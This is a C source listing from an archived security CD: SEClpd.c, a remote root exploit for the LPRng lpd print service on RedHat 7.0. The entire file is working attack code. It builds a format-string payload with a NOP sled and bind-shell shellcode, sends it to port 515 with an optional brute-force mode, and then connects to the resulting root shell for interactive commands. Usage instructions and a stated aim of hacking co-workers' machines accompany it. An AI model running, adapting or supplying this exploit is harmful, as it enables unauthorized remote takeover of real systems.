home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / lpd / SEClpd.c < prev   
C/C++ Source or Header  |  2005-02-12  |  11KB  |  445 lines

  1. /*
  2.  *  Copyright (c) 2000 - Security.is
  3.  *
  4.  *  The following material may be freely redistributed, provided
  5.  *  that the code or the disclaimer have not been partly removed,
  6.  *  altered or modified in any way. The material is the property
  7.  *  of security.is. You are allowed to adopt the represented code
  8.  *  in your programs, given that you give credits where it's due.
  9.  *
  10.  * security.is presents: LPRng/Linux remote root lpd exploit.
  11.  * 
  12.  * Author: DiGiT - teddi@linux.is
  13.  * 
  14.  * Thanks to: portal for elite formatstring talent ;>
  15.  * Greets to: security.is, #!ADM
  16.  * 
  17.  * Wrote it because I wanted to hack my co-workers machines ;>
  18.  *
  19.  * Run: ./SEClpd victim brute -t type  
  20.  * Try first ./SEClpd victim -t 0 then try the brute. 
  21.  */
  22.  
  23.  
  24. #include <stdio.h>
  25. #include <stdlib.h>
  26. #include <string.h>
  27. #include <unistd.h>
  28. #include <sys/stat.h>
  29. #include <sys/types.h>
  30. #include <fcntl.h>
  31. #include <netinet/in.h>
  32. #include <arpa/inet.h>
  33. #include <netdb.h>
  34. #include <netinet/in.h>
  35. #include <arpa/inet.h>
  36.  
  37.  
  38. #define ADDRESS_BUFFER_SIZE   32+4
  39. #define APPEND_BUFFER_SIZE    52
  40. #define FORMAT_LENGTH         512-8
  41. #define NOPCOUNT              200
  42. #define SHELLCODE_COUNT       1030
  43. #define DELAY                 50000 /* usecs */ 
  44. #define OFFSET_LIMIT          5000
  45.  
  46. char shellcode[] = 
  47.  
  48.   "\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
  49.   "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
  50.   "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
  51.   "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
  52.   "\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
  53.   "\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
  54.   "\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
  55.   "\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
  56.   "\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";
  57.  
  58.  
  59.         
  60. struct target
  61.  {
  62.   char *os_name;
  63.   u_long eip_address;
  64.   u_long shellcode_address;
  65.   unsigned int position;
  66.   int written_bytes;
  67.   int align;
  68. };
  69.  
  70. struct target targets[] =
  71.  {
  72.   { "RedHat 7.0 - Guinesss    ", 0xbffff3ec, 0L, 300, 70, 2,         },
  73.   { "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2,         },
  74.    {
  75.      NULL, 0L, 0L, 0, 0, 0
  76.   }
  77. };
  78.  
  79.  
  80. static char address_buffer[ADDRESS_BUFFER_SIZE+1];
  81. static char append_buffer[APPEND_BUFFER_SIZE+1];
  82. static char shellcode_buffer[1024];
  83. static char *hostname=NULL;
  84. static int offset;
  85. static struct hostent *he;
  86. int type=-1;
  87. int brute=-1, failure=1;
  88.  
  89. void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
  90. {
  91.    int i;
  92.    unsigned int tmp = 0;
  93.    unsigned int copied = previous;
  94.    unsigned int num[4] =
  95.    {
  96.       (unsigned int) (shellcode_addr & 0x000000ff),
  97.       (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
  98.       (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
  99.       (unsigned int)((shellcode_addr & 0xff000000) >> 24)
  100.    };
  101.  
  102.    memset (address_buffer, '\0', sizeof(address_buffer));
  103.    memset (append_buffer, '\0', sizeof(append_buffer));
  104.  
  105.    for (i = 0; i < 4; i++)
  106.    {
  107.       while (copied > 0x100)
  108.          copied -= 0x100;
  109.  
  110.       if ( (i > 0) && (num[i-1] == num[i]) )
  111.          sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
  112.       else if (copied < num[i])
  113.       {
  114.          if ( (num[i] - copied) <= 10)
  115.          {
  116.             sprintf (append_buffer+strlen(append_buffer), "%.*s",
  117.                (int)(num[i] - copied), "security.is!");
  118.             copied += (num[i] - copied);
  119.             sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);         } else {
  120.             sprintf (append_buffer+strlen(append_buffer), "%%.%du",
  121.                num[i] - copied);
  122.             copied += (num[i] - copied);
  123.             sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);         }
  124.       } else {
  125.          tmp = ((num[i] + 0x100) - copied);
  126.          sprintf (append_buffer+strlen(append_buffer), "%%.%du", tmp);
  127.          copied += ((num[i] + 0x100) - copied);
  128.          sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
  129.       }
  130.      
  131.       sprintf (address_buffer+strlen(address_buffer), "%c%c%c%c",
  132.          (unsigned char) ((eip_addr+i) & 0x000000ff),
  133.          (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
  134.          (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
  135.          (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
  136.    }
  137.  
  138.    while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
  139.       strcat (address_buffer, "X");
  140.  
  141.  
  142. #ifdef DEBUG
  143.    printf ("\nGeneration complete:\nAddress: ");
  144.    for (i = 0; i < strlen(address_buffer); i++)
  145.    {
  146.       if ( ((i % 4) == 0) && (i > 0) )
  147.          printf (".");
  148.       printf ("%02x", (unsigned char)address_buffer[i]);
  149.    }
  150.    printf ("\nAppend: %s\n", append_buffer);
  151. #endif
  152.  
  153.    return;
  154. }
  155.  
  156. char *create_malicious_string(void)
  157. {
  158.    static char format_buffer[FORMAT_LENGTH+1];
  159.    long addr1,addr2;
  160.    int i;
  161.  
  162.    memset (format_buffer, '\0', sizeof(format_buffer));
  163.  
  164.         targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
  165.  
  166.         addr1 = targets[type].eip_address;
  167.         addr2 = targets[type].shellcode_address;
  168.   calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);
  169.    
  170.    (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
  171.                    targets[type].align, "BBBB", address_buffer);
  172.  
  173.    strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
  174.    strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);
  175.         
  176.    for(i = 0 ; i < NOPCOUNT ; i++) 
  177.    strcat(format_buffer, "\x90");
  178.  
  179. strcat(format_buffer, shellcode);
  180.  
  181.    return (format_buffer);
  182. }
  183.  
  184. int connect_victim()
  185. {
  186.  
  187.    int sockfd, n;
  188.    struct sockaddr_in s;
  189.    fd_set fd_stat;
  190.    char buff[1024]; 
  191.  
  192.   static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
  193.   
  194.    s.sin_family = AF_INET;
  195.    s.sin_port = htons (3879);
  196.    s.sin_addr.s_addr = *(u_long *)he->h_addr;
  197.  
  198.  
  199.    if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
  200.      {
  201.        printf ("--- [5] Unable to create socket!\n");
  202.        printf("Exploit failed!\n");
  203.        return -1;
  204.      }
  205.  
  206.    if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
  207.      {
  208.        return -1;
  209.      }
  210.  
  211.      if(brute)
  212.  
  213.         printf("+++ The eip_address is 0x%x\n\n", targets[type].eip_address);
  214.    
  215.      printf("-   [+] shell located on %s\n", hostname);
  216.      printf("-   [+] Enter Commands at will\n\n");
  217.  
  218.  failure = -1;
  219.  
  220.  FD_ZERO(&fd_stat);
  221.  FD_SET(sockfd, &fd_stat);
  222.  send(sockfd, testcmd, strlen(testcmd), 0);
  223.  
  224.  while(1) {
  225.  
  226.   FD_SET(sockfd,&fd_stat);
  227.   FD_SET(0,&fd_stat);
  228.  
  229.   if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
  230.   if( FD_ISSET(sockfd, &fd_stat) ) {
  231.    if((n=read(sockfd,buff,sizeof(buff)))<0){
  232.      fprintf(stderr, "EOF\n");
  233.      return 2;
  234.    }
  235.  
  236.    if(write(1,buff,n)<0)break;
  237.   }
  238.   if ( FD_ISSET(0, &fd_stat) ) {
  239.     if((n=read(0,buff,sizeof(buff)))<0){
  240.       fprintf(stderr,"EOF\n");
  241.       return 2;
  242.     }
  243.  
  244.     if(send(sockfd,buff,n,0)<0) break;
  245.  
  246.    }
  247.   }
  248. }
  249.  
  250.  
  251. void send_code(char *exploit_buffer)
  252. {
  253.  
  254.    int sockfd, n;
  255.    struct sockaddr_in s;
  256.    fd_set fd_stat;
  257.    char recv[1024];
  258.    static char testcmd[256] = "/bin/uname -a ; id ;\r\n";
  259.  
  260.    s.sin_family = AF_INET;
  261.    s.sin_port = htons (515);
  262.    s.sin_addr.s_addr = *(u_long *)he->h_addr;
  263.  
  264.  
  265.  
  266.    if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0)
  267.      {
  268.        printf ("--- [5] Unable to create socket!\n");
  269.        printf("Exploit failed!\n");
  270.        exit(-1);
  271.      }
  272.  
  273.    if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
  274.      {
  275.        printf ("--- [5] Unable to connect to %s\n", hostname);
  276.        printf("Exploit failed, %s is not running LPD!\n", hostname);
  277.        exit(-1);
  278.      }
  279.  
  280.  
  281.         usleep(DELAY);
  282.         
  283.         if(write (sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
  284.           {
  285.              printf ("Couldn't write to socket %d", sockfd);
  286.              printf ("Exploit failed\n");
  287.              exit(2);
  288.          }
  289.  
  290.         close(sockfd);
  291.         connect_victim();
  292.  
  293.    }
  294.  
  295.  
  296.  
  297.  
  298. void usage(char *program)
  299. {
  300.  
  301.  int i=0;
  302.  
  303.    printf("SEClpd by DiGiT of ADM/security.is ! \n\n");
  304.    printf("Usage: %s victim [\"brute\"] -t type [-o offset] [-a align] [-p position] [-r eip_addr] [-c shell_addr]
  305. [-w written_bytes] \n\n", program);
  306.    printf("ie: ./SEClpd localhost -t 0 For most redhat 7.0 boxes\n");
  307.    printf("ie: ./SEClpd localhost brute -t 0 For brute forcing all redhat 7.0 boxes\n");
  308.    printf("Types:\n\n");
  309.  
  310.    while( targets[i].os_name != NULL)
  311.       printf ("[ Type %d:  [ %s ]\n", i++, targets[i].os_name);
  312. }
  313.  
  314. int main(int argc, char **argv)
  315. {
  316.  
  317.    char exploit_buffer[1024];
  318.    char *format = NULL;
  319.    int c, brutecount=0;
  320.  
  321.  
  322.  
  323. if(argc < 3)
  324.   {
  325.     usage(argv[0]);
  326.     return 1;
  327.  }
  328.  
  329.       hostname = argv[1];
  330.  
  331. if(!strncmp(argv[2], "brute", 5)) brute = 1;
  332.  
  333.    
  334.       while(( c = getopt (argc, argv, "t:r:c:a:o:p:w:k"))!= EOF){
  335.  
  336.       switch (c)
  337.         {
  338.  
  339.          case 't':
  340.             type = atoi(optarg);
  341.             break;
  342.       
  343.          case 'r':
  344.             targets[type].eip_address = strtoul(optarg, NULL, 16);
  345.             break;
  346.  
  347.          case 'c':
  348.             targets[type].shellcode_address = strtoul(optarg, NULL, 16);
  349.             break;
  350.  
  351.          case 'a':
  352.             targets[type].align = atoi(optarg);
  353.             break;
  354.  
  355.          case 'o':
  356.             offset = atoi(optarg);
  357.             break;
  358.  
  359.          case 'p':
  360.             targets[type].position = atoi(optarg);
  361.             break;
  362.  
  363.          case 'w':
  364.             targets[type].written_bytes = atoi(optarg);
  365.             break;
  366.  
  367.         default:
  368.           usage(argv[0]);
  369.           return 1;
  370.         }
  371.    }
  372.  
  373.        if(type < 0) 
  374.          {
  375.            printf("You must specify a type!\n");
  376.            printf("example: ./SEClpd victim -t 0\n");
  377.            return -1;
  378.         }
  379.  
  380.    if ( (he = gethostbyname (hostname)) == NULL)
  381.    {
  382.      herror("gethostbyname");
  383.      exit(1);
  384.    }
  385.  
  386.   targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
  387.  
  388.    
  389.    printf("+++ Security.is remote exploit for LPRng/lpd by DiGiT\n\n");   
  390.  
  391.    printf("+++ Exploit information\n");
  392.    printf("+++ Victim: %s\n", hostname);
  393.    printf("+++ Type: %d - %s\n", type, targets[type].os_name);  
  394.    printf("+++ Eip address: 0x%x\n", targets[type].eip_address); 
  395.    printf("+++ Shellcode address: 0x%x\n", targets[type].shellcode_address); 
  396.    printf("+++ Position: %d\n", targets[type].position);
  397.    printf("+++ Alignment: %d\n", targets[type].align);
  398.    printf("+++ Offset %d\n", offset);
  399.    printf("\n");
  400.  
  401.    printf("+++ Attacking %s with our format string\n", hostname);
  402.  
  403. if( brute > 0 )
  404.  {
  405.  
  406.   printf("+++ Brute force man, relax and enjoy the ride ;>\n");
  407.    targets[type].eip_address =  0xbffffff0;
  408.  
  409.  while(failure) 
  410.  
  411.   {
  412.         memset(exploit_buffer, '\0', sizeof(exploit_buffer)); 
  413.  
  414.    format = create_malicious_string();
  415.    strcpy(exploit_buffer, address_buffer);
  416.    strcat(exploit_buffer, format);
  417.    strcat(exploit_buffer, "\n");
  418.    send_code(exploit_buffer);
  419.  
  420.         targets[type].eip_address = 0xbffffff0 - offset;
  421.  
  422.   offset+=4;
  423.  
  424.     if (offset > OFFSET_LIMIT) {
  425.         printf("+++ Offset limit hit, ending brute mode ;<\n");
  426.         return -1;
  427.  
  428.        }
  429.     }
  430. }
  431.  
  432.  
  433. else
  434.  
  435.    format = create_malicious_string();
  436.    strcpy(exploit_buffer, address_buffer);
  437.    strcat(exploit_buffer, format);
  438.    strcat(exploit_buffer, "\n");
  439.    send_code(exploit_buffer);
  440.  
  441.         printf("Argh exploit failed$#%! try brute force!\n"); 
  442.  
  443.    return (-1);
  444. }
  445.